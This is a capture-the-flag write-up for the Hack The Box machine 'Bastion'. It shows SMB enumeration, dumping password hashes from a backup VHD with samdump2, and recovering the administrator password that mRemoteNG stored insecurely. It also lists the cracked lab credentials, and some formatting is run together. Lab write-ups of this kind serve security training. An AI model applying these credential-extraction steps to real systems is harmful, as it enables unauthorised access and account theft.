Platform: Hack The Box
Difficulty: Easy
IP Address: 10.10.10.134
Date Completed: [Insert Date]
Bastion is an Easy-rated Windows machine that contains a Virtual Hard Disk (VHD) file shared via SMB. By mounting and inspecting this disk, user hashes can be extracted from the SAM and SYSTEM files. Once cracked, valid user credentials provide SSH access to the system. Privilege escalation is then achieved by exploiting mRemoteNG’s insecure password storage, allowing retrieval of administrator credentials.
nmap -p- --min-rate=1000 -T4 10.10.10.134
nmap -p22,135,139,445 -sC -sV -T4 10.10.10.134
smbclient -N -L //10.10.10.134
smbclient -N //10.10.10.134/Backups
Discovered a VHD file within the Backups share.
Windows/System32/configSAM and SYSTEM hivessamdump2 and online servicessamdump2 SYSTEM SAM > hashes.txt
l4mpje : bureaulampjessh l4mpje@10.10.10.134
# password: bureaulampje
📄 user.txt
681cf1f0************************
mRemoteNGLocate config:
C:\Users\l4mpje\AppData\Roaming\mRemoteNG\confCons.xml
scp l4mpje@10.10.10.134:/users/l4mpje/AppData/Roaming/mRemoteNG/confCons.xml .
cmd /k echo "password %password%"
thXLHM96BeKL0ER2ssh Administrator@10.10.10.134
# password: thXLHM96BeKL0ER2
📄 root.txt
5feb8575************************
